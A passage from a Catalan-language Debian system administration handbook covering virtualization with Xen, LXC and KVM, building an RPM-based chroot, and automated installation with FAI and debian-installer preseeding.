La majoria de les subordres xl esperen un o més arguments, sovint un nom de domU. Aquests arguments estan ben descrits en la pàgina del manual xl(1).

ANANT MÉS ENLLÀ Xen avançat

Xen té moltes més característiques de les que podem descriure en aquests pocs paràgrafs. En particular, el sistema és molt dinàmic, i molts paràmetres per a un domini (com la quantitat de memòria assignada, els discs durs visibles, el comportament del planificador de tasques, etc.) es poden ajustar fins i tot quan aquest domini s'està executant. Un domU fins i tot es pot migrar a través de servidors sense aturar-se i sense perdre les seves connexions de xarxa! Per a tots aquests aspectes avançats, la principal font d'informació és la documentació oficial de Xen.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Tot i que s'utilitza per construir "màquines virtuals", LXC no és, estrictament parlant, un sistema de virtualització, sinó un sistema per aïllar grups de processos entre ells, tot i que tots funcionen en el mateix hoste. Aprofita un conjunt de canvis recents en el nucli de Linux, coneguts col·lectivament com a «control groups» o “grups de control”, mitjançant els quals diferents conjunts de processos anomenats “grups” tenen diferents visions sobre certs aspectes del sistema global. Entre aquests aspectes destaquen els identificadors de procés, la configuració de la xarxa i els punts de muntatge. Aquest grup de processos aïllats no tindrà accés als altres processos del sistema, i els accessos al sistema de fitxers es poden restringir a un subconjunt específic. També pot tenir la seva pròpia interfície de xarxa i taula d'encaminament, i es pot configurar per veure només un subconjunt dels dispositius disponibles presents al sistema.

Aquestes característiques es poden combinar per aïllar tota una família de processos a partir del procés init, i el conjunt resultant s'assembla molt a una màquina virtual. El nom oficial d'aquesta configuració és “contenidor” (d'aquí el sobrenom d'LXC: LinuX Containers), però una diferència bastant important amb les màquines virtuals "reals" com les proporcionades per Xen o KVM és que no hi ha cap segon nucli; el contenidor utilitza el mateix nucli que el sistema host. Això té tant avantatges com incovenients: els avantatges inclouen un rendiment excel·lent a causa de la manca total de sobrecàrrega, i el fet que el nucli té una visió global de tots els processos que s'executen al sistema, de manera que la planificació pot ser més eficient del que seria si dos nuclis independents programessin diferents conjunts de tasques. El principal dels inconvenients és la impossibilitat d'executar un nucli diferent en un contenidor (ja sigui una versió de Linux diferent o un sistema operatiu diferent).

NOTA Límits en l'aïllament d'LXC

Els contenidors LXC no proporcionen el nivell d'aïllament aconseguit per emuladors més pesants o virtualitzadors. En particular:

com que el nucli es comparteix entre el sistema hoste i els contenidors, els processos restringits als contenidors encara poden accedir als missatges del nucli, que por dur a filtracions d'informació si els missatges són emesos per un contenidor;

per raons similars, si es compromet un contenidor i s'explota una vulnerabilitat del nucli, els altres contenidors també es poden veure afectats;

en el sistema de fitxers, el nucli comprova els permisos d'acord amb els identificadors numèrics per a usuaris i grups; aquests identificadors poden designar diferents usuaris i grups depenent del contenidor, que s'ha de tenir en compte si les zones modificables del sistema de fitxers es comparteixen entre els contenidors.

Atès que estem tractant amb l'aïllament i no amb simple virtualització, la creació de contenidors LXC és més complexa que simplement executar el “debian-installer” en una màquina virtual. Descriurem alguns requisits previs i després passarem a la configuració de la xarxa; llavors podrem crear realment el sistema a executar al contenidor.

12.2.2.1. Passos preliminars

El paquet lxc conté les eines necessàries per executar LXC, i per tant s'ha d'instal·lar.

LXC també requereix el sistema de configuració de control groups, que és un sistema de fitxers virtual que s'ha de muntar a /sys/fs/cgroup. Des que Debian 8 va canviar a systemd, que també es basa en grups de control, això es fa automàticament en temps d'arrencada sense més configuració.

12.2.2.2. Configuració de xarxa

L'objectiu d'instal·lar LXC és crear màquines virtuals; encara que podríem, per descomptat, mantenir-les aïllades de la xarxa, i comunicar-nos amb elles només a través del sistema de fitxers, la majoria dels casos d'ús impliquen donar almenys accés mínim a la xarxa als contenidors. En el cas típic, cada contenidor obtindrà una interfície de xarxa virtual, connectada a la xarxa real a través d'un pont («bridge»). Aquesta interfície virtual es pot connectar directament a la interfície de xarxa física de l'amfitrió (en aquest cas el contenidor està directament a la xarxa), o a una altra interfície virtual definida a l'amfitrió (i llavors l'amfitrió pot filtrar o encaminar el trànsit). En tots dos casos, es requerirà el paquet bridge-utils.

El cas simple és només una qüestió d'editar /etc/network/interfaces, movent la configuració de la interfície física (per exemple, eth0 o enp1s0) a una interfície de pont (normalment br0), i configurar l'enllaç entre ells. Per exemple, si el fitxer de configuració de la interfície de xarxa conté inicialment entrades com les següents:

auto eth0 iface eth0 inet dhcp

Han de ser desactivades i substituïdes per les següents:

auto br0 iface br0 inet dhcp bridge-ports eth0

L'efecte d'aquesta configuració serà similar al que s'obtindrà si els contenidors fossin màquines connectades a la mateixa xarxa física que l'amfitrió. La configuració de “pont” gestiona el trànsit de les trames Ethernet entre totes les interfícies pont, que inclou la física eth0, així com les interfícies definides per als contenidors.

En els casos en què aquesta configuració no es pot utilitzar (per exemple, si no es pot assignar cap adreça IP pública als contenidors), es crearà una interfície virtual tap i es connectarà al pont. La topologia de xarxa equivalent es converteix en la d'un amfitrió amb una segona targeta de xarxa connectada en un commutador separat, amb els contenidors també connectats en aquest commutador. L'amfitrió ha d'actuar com a porta d'entrada per als contenidors si estan destinats a comunicar-se amb el món exterior.

A més de bridge-utils, aquesta configuració "rica" requereix el paquet vde2; el fitxer /etc/network/interfaces llavors esdevé:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

La xarxa es pot configurar estàticament als contenidors, o dinàmicament amb un servidor DHCP executant-se a l'amfitrió. Aquest servidor DHCP haurà de ser configurat per respondre les consultes a la interfície br0.

12.2.2.3. Configuració del sistema

Configurem ara el sistema de fitxers que ha d'utilitzar el contenidor. Com que aquesta “màquina virtual” no s'executarà directament al maquinari, es requereixen alguns ajustos en comparació amb un sistema de fitxers estàndard, especialment pel que fa al nucli, dispositius i consoles. Afortunadament, el paquet lxc inclou scripts que pràcticament automatitzen aquesta configuració. Per exemple, les següents ordres (que requereixen els paquets debootstrap i rsync) instal·laran un contenidor Debian:

# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] #

Tingueu en compte que el sistema de fitxers es crea inicialment a /var/cache/lxc, i després es mou al seu directori de destinació. Això permet crear contenidors idèntics molt més ràpidament, ja que només cal copiar.

Tingueu en compte que l'script de creació de plantilles de Debian accepta una opció --arch per especificar l'arquitectura del sistema a instal·lar i una opció --release si voleu instal·lar alguna cosa diferent de l'actual versió estable de Debian. També podeu establir la variable d'entorn MIRROR per apuntar a un mirall local de Debian.

El paquet lxc també crea una interfície de pont lxcbr0, que per defecte és utilitzat per tots els contenidors de nova creació via /etc/lxc/default.conf i el servei lxc-net:

lxc.net.0.type = veth lxc.net.0.link = lxcbr0 lxc.net.0.flags = up

Aquestes entrades signifiquen, respectivament, que es crearà una interfície virtual a cada nou contenidor; que s'activarà automàticament quan s'iniciï el contenidor, i que es connectarà automàticament al pont lxcbr0 de l'amfitrió. Trobareu aquests paràmetres a la configuració creada per al contenidor (/lxc/testlxc/config), on també l'adreça MAC del dispositiu estarà especificada amb lxc.net.0.hwaddr. Si aquesta darrera entrada no es troba o està desactivada, es generarà una adreça MAC aleatòria.

Una altra entrada útil en aquest fitxer és la configuració del nom de l'amfitrió:

lxc.uts.name = testlxc

El nou sistema de fitxers creat ara conté un sistema Debian mínim i una interfície de xarxa.

12.2.2.4. Inici del contenidor

Ara que la nostra imatge de màquina virtual està preparada, iniciem el contenidor amb lxc-start --name=testlxc.

En els llançaments d'LXC posteriors a 2.0.8 les contrasenyes del superusuari no s'estableixen per defecte. Se'n pot establir una executant lxc-attach -n testlxc passwd si vonguéssim. Ara podem iniciar la sessió amb:

# lxc-console -n testlxc Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself Debian GNU/Linux 11 testlxc tty1 testlxc login: root Password: Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 9 01:45:21 UTC 2022 on console root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 18964 11464 ? Ss 01:36 0:00 /sbin/init root 45 0.0 0.2 31940 10396 ? Ss 01:37 0:00 /lib/systemd/systemd-journald root 71 0.0 0.1 99800 5724 ? Ssl 01:37 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..] root 97 0.0 0.1 13276 6980 ? Ss 01:37 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 160 0.0 0.0 6276 3928 pts/0 Ss 01:46 0:00 /bin/login -p -- root 169 0.0 0.0 7100 3824 pts/0 S 01:51 0:00 \_ -bash root 172 0.0 0.0 9672 3348 pts/0 R+ 01:51 0:00 \_ ps auxwf root 164 0.0 0.0 5416 2128 pts/1 Ss+ 01:49 0:00 /sbin/agetty -o -p -- \u --noclear [...] root@testlxc:~#

Ara estem dins del contenidor; el nostre accés als processos està restringit només als iniciats des del mateix contenidor, i el nostre accés al sistema de fitxers està igualment restringit al subconjunt dedicat del sistema de fitxers complet (/var/lib/lxc/testlxc/rootfs). Podem sortir de la consola amb Control+a q.

Tingueu en compte que hem executat el contenidor com un procés en segon pla gràcies a lxc-start engegant usant l'opció --daemon per defecte. Podem aturar el contenidor amb una ordre com lxc-stop --name=testlxc.

El paquet lxc conté un script d'inicialització que pot iniciar automàticament un o diversos contenidors quan l'amfitrió s'inicia (es basa en lxc-autostart que inicia contenidors que tenen l'opció lxc.start.auto establerta a 1). Un control més refinat de l'ordre d'inici és possible amb lxc.start.order i lxc.group: per defecte, l'script d'iniciació engega primer els contenidors que formen part del grup onboot i després els contenidors que no formen part de cap grup. En ambdós casos, l'ordre dins d'un grup es defineix per l'opció lxc.start.order.

ANANT MÉS ENLLÀ Virtualització massiva

Com que LXC és un sistema d'aïllament molt lleuger, es pot adaptar particularment a l'allotjament massiu de servidors virtuals. La configuració de la xarxa probablement serà una mica més avançada que el que hem descrit anteriorment, però una configuració “enriquida” utilitzant les interfícies tap i veth haurien de ser suficients en molts casos.

També pot tenir sentit compartir part del sistema de fitxers, com els subarbres /usr i /lib, per evitar la duplicació del programari que pot haver de ser comú a diversos contenidors. Això s'aconseguirà normalment amb entrades lxc.mount.entry al fitxer de configuració dels contenidors. Un efecte secundari interessant és que els processos utilitzaran menys memòria física, ja que el nucli és capaç de detectar que els programes són compartits. El cost marginal d'un contenidor addicional es pot reduir a l'espai de disc dedicat a les seves dades específiques, i alguns processos addicionals que el nucli ha de planificar i gestionar.

No hem descrit totes les opcions disponibles, per descomptat; es pot obtenir informació més completa a les planes del manual lxc(7) i lxc.container.conf(5) i a les que aquestes fan referència.

12.2.3. Virtualització amb KVM

KVM, que significa «Kernel-based Virtual Machine» o “màquina virtual basada en el nucli”, és abans de res un mòdul de nucli que proporciona la major part de la infraestructura que pot ser utilitzada per un virtualitzador, però no és un virtualitzador per si mateix. El control real de la virtualització es gestiona mitjançant una aplicació basada en QEMU. No us preocupeu si aquesta secció esmenta ordres qemu-*: encara estem parlant de KVM.

A diferència d'altres sistemes de virtualització, el KVM es va fusionar amb el nucli de Linux des del principi. Els seus desenvolupadors van optar per aprofitar els conjunts d'instruccions del processador dedicats a la virtualització (Intel-VT i AMD-V), fet que manté el KVM lleuger, elegant i poc demandant de recursos. La contrapartida, per descomptat, és que el KVM no funciona en cap ordinador, sinó només en aquells amb processadors adequats. Per als ordinadors basats en x86 es pot verificar que teniu un processador així buscant “vmx” o “svm” en les marques de la CPU llistades a /proc/cpuinfo.

Amb Red Hat recolzant activament el seu desenvolupament, KVM s'ha convertit més o menys en la referència per a la virtualització amb Linux.

12.2.3.1. Passos preliminars

A diferència d'eines com VirtualBox, el mateix KVM no inclou cap interfície d'usuari per crear i gestionar màquines virtuals. El paquet virtual qemu-kvm només proporciona un executable capaç d'iniciar una màquina virtual, així com un script d'inicialització que carrega els mòduls apropiats del nucli.

Afortunadament, Red Hat també proporciona un altre conjunt d'eines per resoldre aquest problema desenvolupant la biblioteca libvirt i les eines associades virtual machine manager. El libvirt permet la gestió de màquines virtuals de manera uniforme, independentment del sistema de virtualització involucrat per sota (actualment suporta QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare i UML). virt-manager és una interfície gràfica que utilitza libvirt per crear i gestionar màquines virtuals.

Primer instal·lem els paquets necessaris, amb apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system proporciona el dimoni libvirtd, que permet (potencialment de manera remota) la gestió de les màquines virtuals que s'executen al servidor, i inicia les màquines virtuals requerides quan el servidor s'inicia. libvirt-clients proporciona l'eina de línia d'ordres virsh, que permet controlar les màquines gestionades amb libvirtd.

El paquet virtinst proporciona virt-install, que permet crear màquines virtuals des de la línia d'ordes. Finalment, virt-viewer permet accedir a la consola gràfica d'una màquina virtual.

12.2.3.2. Configuració de xarxa

Igual que amb Xen i LXC, la configuració de xarxa més freqüent implica un pont que agrupa les interfícies de xarxa de les màquines virtuals (vegeu Secció 12.2.2.2, «Configuració de xarxa»).

Alternativament, i en la configuració per defecte proporcionada pel KVM, la màquina virtual té una adreça privada (en el rang 192.168.122.0/24), i el NAT està configurat perquè la màquina virtual pugui accedir a la xarxa exterior.

La resta d'aquesta secció assumeix que l'amfitrió té una interfície física eth0 i un pont br0, i que el primer està connectat en aquest últim.

12.2.3.3. Instal·lació amb virt-install

La creació d'una màquina virtual és molt similar a la instal·lació d'un sistema normal, excepte que les característiques de la màquina virtual es descriuen en una línia de comandament aparentment interminable.

A la pràctica, això significa que utilitzarem l'instal·lador de Debian, arrencant la màquina virtual en una unitat de DVD-ROM virtual que s'associa amb una imatge de DVD de Debian emmagatzemada en el sistema local. La màquina virtual exportarà la seva consola gràfica sobre el protocol VNC (vegeu Secció 9.2.2, «Ús d'escriptoris gràfics remots» per detalls), que ens permetrà controlar el procés d'instal·lació.

Primer hem de dir-li a libvirtd on desar les imatges de disc, llevat que la ubicació per defecte (/var/lib/libvirt/images/) ja ens vagi bé.

# mkdir /srv/kvm # virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created #

SUGGERIMENT Afegiu el vostre usuari al grup libvirt

Totes les mostres d'aquesta secció suposen que esteu executant ordres com a root. De manera efectiva, si voleu controlar un dimoni local de libvirt, heu de ser superusuari o membre del grup libvirt (que per defecte no és el cas). Per tant, si voleu evitar utilitzar els drets de superusuari massa sovint, podeu afegir-vos al grup libvirt i executar les diverses ordres sota la vostra identitat d'usuari.

Comencem ja el procés d'instal·lació de la màquina virtual i mirem més de prop les opcions més importants de virt-install. Aquesta ordre registra la màquina virtual i els seus paràmetres a libvirtd, i després l'engega perquè la instal·lació pugui continuar.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 2048 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debiantesting Starting install... Allocating 'testkvm.qcow'

L'opció --connect especifica l'“hipervisor” a utilitzar. La seva forma és la d'un URL que conté un sistema de virtualització (xen://,qemu://,lxc://,openvz://,vbox://, etc.) i la màquina que hauria d'acollir la màquina virtual (això es pot deixar buit en el cas de l'amfitrió local). A més d'això, i en el cas QEMU/KVM, cada usuari pot gestionar màquines virtuals que treballen amb permisos restringits, i el camí d'URL permet diferenciar les màquines del “sistema” (/system) de les altres (/session).

Com que el KVM es gestiona de la mateixa manera que el QEMU, el --virt-type kvm permet especificar l'ús del KVM tot i que l'URL sembla QEMU.

L'opció --name defineix un nom (únic) per a la màquina virtual.

L'opció --memory permet especificar la quantitat de RAM (en MB) per assignar a la màquina virtual.

El --disk especifica la ubicació del fitxer d'imatge que representa el disc dur de la nostra màquina virtual; aquest fitxer es crea, llevat que ja estigui present, amb una mida (en GB) especificada pel paràmetre size. El format permet triar entre diverses maneres d'emmagatzemar el fitxer d'imatge. El format per defecte (qcow2) permet començar amb un petit fitxer que només creix quan la màquina virtual comença realment a utilitzar espai.

L'opció --cdrom s'utilitza per indicar on trobar el disc òptic a utilitzar per a la instal·lació. La ruta pot ser un camí local d'un fitxer ISO, un URL d'on es pot obtenir el fitxer, o el fitxer de dispositiu d'una unitat de CD-ROM física (és a dir, /dev/cdrom).

El --network especifica com s'integra la targeta de xarxa virtual a la configuració de la xarxa de l'amfitrió. El comportament per defecte (que hem forçat explícitament en el nostre exemple) és integrar-lo en qualsevol pont de xarxa preexistent. Si no existeix cap pont, la màquina virtual només podrà arribar a la xarxa física a través de NAT, de manera que obté una adreça en un rang de subxarxa privat (192.168.122.0/24).

La configuració de xarxa predeterminada, que conté la definició per a una interfície de pont virbr0, es pot editar utilitzant virsh net-edit default i es iniciar via virsh net-start default si no s'ha fet ja automàticament durant l'inici del sistema.

--graphics vnc indica que la consola gràfica hauria d'estar disponible utilitzant VNC. El comportament per defecte del servidor VNC associat és només escoltar a la interfície local; si el client VNC s'executarà en un ordinador diferent, establir la connexió requerirà la creació d'un túnel SSH (vegeu Secció 9.2.1.4, «Creació de túnels encriptats amb reenviament de ports»). Alternativament, --graphics vnc,listen=0.0.0.0 es pot utilitzar perquè el servidor VNC sigui accessible des de totes les interfícies; tingueu en compte que si ho feu haureu de configurar el tallafocs en conseqüència.

Les opcions --os-type i --os-variant permeten optimitzar alguns paràmetres de la màquina virtual, basant-se en algunes de les característiques ja conegudes del sistema operatiu mencionat.

La llista completa dels tipus de sistemes operatius es pot veure utilitzant l'ordre osinfo-query os del paquet libosinfo-bin.

En aquest punt, la màquina virtual s'està executant, i hem de connectar-nos a la consola gràfica per continuar amb el procés d'instal·lació. Si l'operació anterior s'executava des d'un entorn gràfic d'escriptori, aquesta connexió s'hauria d'iniciar automàticament. Si no, o si operem remotament, virt-viewer es pot executar des de qualsevol entorn gràfic per obrir la consola gràfica (tingueu en compte que la contrasenya de root de la màquina remot es demana dues vegades perquè l'operació requereix dues connexions SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Figura 12.1. Connexió amb la sessió de l'instal·lador usant virt-viewer

Quan s'acaba el procés d'instal·lació, es reinicia la màquina virtual, ara ja llesta per a utilitzar.

12.2.3.4. Gestió de màquines amb virsh

Ara que la instal·lació ha acabat, vegem com manejar les màquines virtuals disponibles. El primer que s'ha d'intentar és demanar a libvirtd la llista de les màquines virtuals que gestiona:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

Engeguem la nostra màquina virtual de prova:

# virsh -c qemu:///system start testkvm Domain testkvm started

Ara podem obtenir les instruccions de connexió per a la consola gràfica (la pantalla VNC retornada es pot passar com a paràmetre a vncviewer):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

Altres subordres disponibles de virsh inclouen:

reboot per reiniciar una màquina virtual;

shutdown per activar una aturada ordenada;

destroy, per aturar-la sobtadament;

suspend per pausar-la;

resume per reprendre-la;

autostart per activar (o desactivar, amb l'opció --disable) l'inici de la màquina virtual automàticament quan s'inicia l'amfitrió;

undefine per eliminar de libvirtd totes les traces de la màquina virtual.

Totes aquestes subordres prenen un identificador de màquina virtual com a paràmetre.

Instal·lació d'un «chroot» basat en RPM a Debian amb yum

Si un «chroot» està destinat a executar Debian (o un dels seus derivats), el sistema es pot inicialitzar amb debootstrap. Però si sha d'instal·lar amb un sistema basat en RPM (com ara Fedora, CentOS o Scientific Linux), la configuració s'haurà de fer utilitzant la utilitat yum, disponible com a yum4 del paquet nextgen-yum4, ja que el programa original ha estat eliminat de Debian abans de publicar-se Bullseye pel fet d'estar sense manteniment, desactualitzada i deixada obsoleta per dnf.

El procediment requereix l'ús d'rpm per extreure un conjunt inicial de fitxers, incloent-hi especialment els fitxers de configuració de yum, i després cridar a yum4 per extreure el conjunt restant de paquets. Però com que executem yum4 fora del «chroot», hem de fer alguns canvis temporals. En la mostra següent, el «chroot» de destinació és /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum4 --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo # chroot /srv/centos/ [root@testsystem /]#

12.3. Instal·lació automatitzada

Els administradors de Falcot Corp, com molts altres administradors de grans serveis de TI, necessiten eines per instal·lar (o reinstal·lar) ràpidament, i automàticament si és possible, les seves noves màquines.

Aquests requisits es poden complir amb una àmplia gamma de solucions. D'una banda, eines genèriques com SystemImager ho gestionen mitjançant la creació d'una imatge basada en una màquina de plantilles, llavors es desplega aquesta imatge als sistemes de destinació; a l'altre extrem de l'espectre, l'instal·lador estàndard de Debian es pot «preseed» (“pre-sembrar”) amb un fitxer de configuració que dona les respostes a les preguntes plantejades durant el procés d'instal·lació. A mig camí, una eina híbrida com FAI («Fully Automatic Installer» o “instal·lador completament automatitzat”) instal·la màquines utilitzant el sistema de paquets, però també utilitza la seva pròpia infraestructura per a tasques que són més específiques per a desplegaments massius (com ara inici, particionat, configuració, etc.).

Cadascuna d'aquestes solucions té els seus avantatges i inconvenients: SystemImager treballa independentment de qualsevol sistema de paquets en particular, fet que li permet gestionar grans conjunts de màquines utilitzant diverses distribucions de Linux diferents. També inclou un sistema d'actualització que no requereix una reinstal·lació, però aquest sistema d'actualització només pot ser fiable si les màquines no es modifiquen independentment; en altres paraules, l'usuari no ha d'actualitzar cap programari pel seu compte, ni instal·lar qualsevol altre programari. De la mateixa manera, les actualitzacions de seguretat no han de ser automatitzades, perquè han de passar per la imatge de referència centralitzada mantinguda per SystemImager. Aquesta solució també requereix que les màquines destí siguin homogènies, altrament s'haurien de mantenir i gestionar moltes imatges diferents (una imatge amd64 no encaixarà en una màquina de powerpc, etc.).

D'altra banda, una instal·lació automatitzada que utilitza debian-installer pot adaptar-se a les especificacions de cada màquina: l'instal·lador recollirà els paquets de nucli i programari apropiats dels repositoris pertinents, detectarà el maquinari disponible, particionarà tot el disc dur per aprofitar tot l'espai disponible, instal·larà el sistema Debian corresponent i configurarà un carregador adequat. No obstant això, l'instal·lador estàndard només instal·larà versions estàndard de Debian, amb el sistema base i un conjunt de “tasques” preseleccionades; això exclou la instal·lació d'un sistema particular amb aplicacions no empaquetades. Satisfer aquesta necessitat requereix personalitzar l'instal·lador... Afortunadament, l'instal·lador és molt modular, i hi ha eines per automatitzar la major part del treball necessari per a aquesta personalització, el més important és el simple-cdd (CDD és un acrònim de «Custom Debian Derivative» o “Derivat de Debian personalitzat”). Malgrat que aquesta solució, però, només gestiona instal·lacions inicials; això normalment no és un problema, ja que les eines APT permeten un desplegament eficient d'actualitzacions més endavant.

Només donarem una visió general aproximada de FAI, i saltarem el SystemImager completament (que ja no és a Debian, però disponible en un paquet de tercers), per tal de centrar-nos més en debian-installer i simple-cdd, que són més interessants en contextos de “només Debian”.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer o “instal·lador completament automatitzat” és probablement el sistema de desplegament automàtic més antic de Debian, fet que explica el seu estatus com a referència; però la seva naturalesa molt flexible només compensa la complexitat que implica.

FAI requereix un sistema de servidor per emmagatzemar la informació de desplegament i permetre que les màquines de destinació arrenquin de xarxa. Aquest servidor requereix el paquet fai-servidor (o fai-quickstart, que també porta els elements necessaris per a una configuració estàndard).

FAI utilitza un enfocament específic per definir els diversos perfils instal·lables. En lloc de simplement duplicar una instal·lació de referència, FAI és un instal·lador complet, totalment configurable a través d'un conjunt de fitxers i scripts emmagatzemats al servidor; la ubicació per defecte /srv/fai/config/ d'acord amb /etc/fai/nfsroot.conf no es crea automàticament, així que l'administrador ha de crear-la juntament amb els fitxers pertinents. La majoria de les vegades, aquests fitxers es personalitzaran a partir de fitxers d'exemple disponibles a la documentació al paquet fai-doc, i més concretament al directori /usr/share/doc/fai-doc/examples/simple/.

Una vegada que els perfils estan definits, l'ordre fai-setup genera els elements necessaris per iniciar una instal·lació FAI; això significa principalment preparar o actualitzar un sistema mínim (NFS-root) utilitzat durant la instal·lació. Una alternativa és generar un CD d'arrencada dedicat amb fai-cd.

La creació de tots aquests fitxers de configuració requereix una certa comprensió de la manera en què funciona FAI. Un procés d'instal·lació típic consisteix en els següents passos:

descarregar un nucli de la xarxa i arrencar-lo;

muntar el sistema de fitxers arrel des d'NFS;

executar /usr/sbin/fai, que controla la resta del procés (els següents passos són iniciats per aquest script);

copiar l'espai de configuració des del servidor a /fai/;

executar fai-class. Els scripts /fai/class/[0-9][0-9]* s'executen per ordre, i retornen noms de “classes” que s'apliquen a la màquina que s'està instal·lant; aquesta informació servirà com a base per als següents passos. Això permet una certa flexibilitat en la definició dels serveis per instal·lar i configurar.

recopilar una sèrie de variables de configuració, depenent de les classes rellevants;

particionar els discos i formatar les particions, basant-se en la informació proporcionada a /fai/disk_config/classe;

muntar les citades particions;

instal·lar el sistema base;

“presembrar” la base de dades Debconf amb fai-debconf;

obtenir la llista de paquets disponibles per APT;

instal·lació dels paquets llistats a /fai/package_config/classe;

executar els scripts de postconfiguració, /fai/scripts/classe/[0-9][0-9]*;

desar els registres de la instal·lació, desmuntar les particions i reiniciar.

12.3.2. Presembrar el Debian-Installer

Després de tot, la millor eina per instal·lar sistemes Debian hauria de ser lògicament l'instal·lador oficial de Debian. Aquesta és la raó per la qual, des del seu inici, debian-installer ha estat dissenyat per a un ús automatitzat, aprofitant la infraestructura proporcionada per debconf. Aquest últim permet, d'una banda, reduir el nombre de preguntes plantejades (les preguntes ocultes utilitzaran la resposta per defecte proporcionada), i per una altra, proporcionar per separat les respostes per defecte, de manera que la instal·lació pot ser no interactiva. Aquesta última característica es coneix com «preseeding» o “presembrar”.

ANANT MÉS ENLLÀ Debconf amb una base de dades centralitzada

El “presembrat” permet proporcionar un conjunt de respostes a les preguntes de Debconf en el moment de la instal·lació, però aquestes respostes són estàtiques i no evolucionen a mesura que passa el temps. Com que les màquines ja instal·lades poden necessitar actualitzar-se, i noves respostes poden ser necessàries, el fitxer de configuració /etc/debconf.conf es pot configurar perquè Debconf utilitzi fonts de dades externes (com un servidor de directoris LDAP, o un fitxer remot al qual s'accedeix via NFS o Samba). Diverses fonts de dades externes es poden definir al mateix temps, i es complementen mútuament. La base de dades local encara s'utilitza (amb accés de lectura i escriptura), però les bases de dades remotes queden restringides a la lectura. La plana del manual debconf.conf(5) descriu totes les possibilitats en detall (necessitareu el paquet debconf-doc).

12.3.2.1. Ús d'un fitxer de presembrat

Hi ha diversos llocs d'on l'instal·lador pot obtenir un fitxer de presembrat:

a l'initrd usat per iniciar la màquina; en aquest cas, el presembrat es produeix just al principi de la instal·lació, i així totes les preguntes es poden evitar. El fitxer només s'ha de dir preseed.cfg i ha d'estar emmagatzemat a l'arrel de l'initrd.

en el suport d'arrencada (CD o llapis USB); el presembrat es produeix tan aviat com el suport està muntat, fet que significa just després de les preguntes sobre el llenguatge i la disposició del teclat. El paràmetre d'arrencada preseed/file es pot utilitzar per indicar la ubicació del fitxer de presembrat (per exemple, /cdrom/preseed.cfg quan la instal·lació es fa des d'un CD-ROM, o /hd-media/preseed.cfg en el cas de llapis USB).

des de la xarxa; el presembrat només es dona després que la xarxa estigui (automàticament) configurada; el paràmetre d'arrencada pertinent és llavors preseed/url=http://servidor/preseed.cfg (HTTPS, FTPS, SFTP, etc. no estan suportats).

A primera vista, incloure el fitxer de presembrat a l'initrd sembla la solució més interessant; no obstant això, rarament s'utilitza a la pràctica, perquè generar un instal·lador initrd és bastant complex. Les altres dues solucions són molt més comunes, especialment perquè els paràmetres d'arrencada proporcionen una altra manera de presembrar les respostes a les primeres preguntes del procés d'instal·lació. La manera habitual d'estalviar-se la molèstia d'escriure aquests paràmetres d'arrencada a mà en cada instal·lació és desar-los a la configuració d'isolinux (en el cas de CD-ROM) o syslinux (llapis USB).

12.3.2.2. Creació d'un fitxer de presembrat

Un fitxer de presembrat és un fitxer de text pla, on cada línia conté la resposta a una pregunta de Debconf. Una línia es divideix entre quatre camps separats per espais en blanc (espais o tabuladors), com a, per exemple, d-i mirror/suite string stable:

el primer camp és el "propietari" de la pregunta; "d-i" s'utilitza per a les preguntes rellevants per a l'instal·lador, però també pot ser un nom de paquet per a les preguntes procedents dels paquets de Debian;

el segon camp és un identificador per a la pregunta (el nom de la plantilla);

tercer, el tipus de pregunta;

el quart i l'últim camp conté el valor de la resposta. Cal tenir en compte que s'ha de separar del tercer camp amb un sol espai; si hi ha més d'un, els següents caràcters d'espai es consideren part del valor.

